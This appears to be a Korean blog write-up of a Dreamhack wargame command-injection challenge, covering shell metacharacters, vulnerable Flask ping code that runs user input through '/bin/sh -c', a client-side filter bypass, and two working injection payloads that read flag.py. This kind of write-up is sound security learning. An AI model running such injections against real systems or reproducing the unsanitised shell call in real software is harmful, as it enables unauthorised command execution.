Shell에서 사용 가능한 메타문자
`` | 명령어 치환 `` 안에 들어있는 명령어를 실행한 결과로 치환됩니다. |
|
$() | 명령어 치환 $()안에 들어있는 명령어를 실행한 결과로 치환됩니다. 이 문자는 위와 다르게 중복 사용이 가능합니다. (echo $(echo $(echo theori))) |
|
&& | 명령어 연속 실행 한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. 앞 명령어에서 에러가 발생하지 않아야 뒷 명령어를 실행합니다. |
|
|| | 명령어 연속 실행 한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. 앞 명령어에서 에러가 발생해야 뒷 명령어를 실행합니다. |
|
; | 명령어 구분자 한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. ;은 단순히 명령어를 구분하기 위해 사용하며, 앞 명령어의 에러 유무와 관계 없이 뒷 명령어를 실행합니다. |
|
| | 파이프 앞 명령어의 결과가 뒷 명령어의 입력으로 들어갑니다. |
문제풀이
command injection이 가능하고,
@APP.route('/ping', methods=['GET', 'POST'])
def ping():
if request.method == 'POST':
host = request.form.get('host')
cmd = f'ping -c 3 "{host}"'
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
return render_template('ping_result.html', data=output.decode('utf-8'))
input element에 필터링 걸려있다 => 정규표현식(알파벨, 숫자, 점만 가능, 5~20자)
<div class="col-md-6 form-group">
<label for="Host">Host</label>
<!-- 필터링 걸려있네 -->
<input type="text" class="form-control" id="Host" placeholder="8.8.8.8" name="host" pattern="[A-Za-z0-9.]{5,20}" required>
</div>
* 이렇게 클라이언트 단에서 필터링 세팅해두면 언제든 변조 가능하다
* 개발자도구 켜서 elements 탭에서 소스코드 수정하면 됨
이렇게 풀었다
1.1.1.1"; cat flag.py; echo "a
1.1.1.1" && cat flag.py; echo "a
'security > 웹해킹' 카테고리의 다른 글
[Dreamhack Wargame] web-ssrf + SSRF에 대해 (0) | 2023.06.30 |
---|---|
[Dreamhack Wargame] Image-storage + php 웹쉘 업로드 (0) | 2023.06.30 |
[Dreamhack Wargame] Mango + req.query 타입검사 미흡 (0) | 2023.06.29 |
[Dreamhack Wargame] Simple_sqli + blind SQLI 스크립트 (0) | 2023.06.28 |
[Dreamhack Wargame] CSRF_1/2 (0) | 2023.06.28 |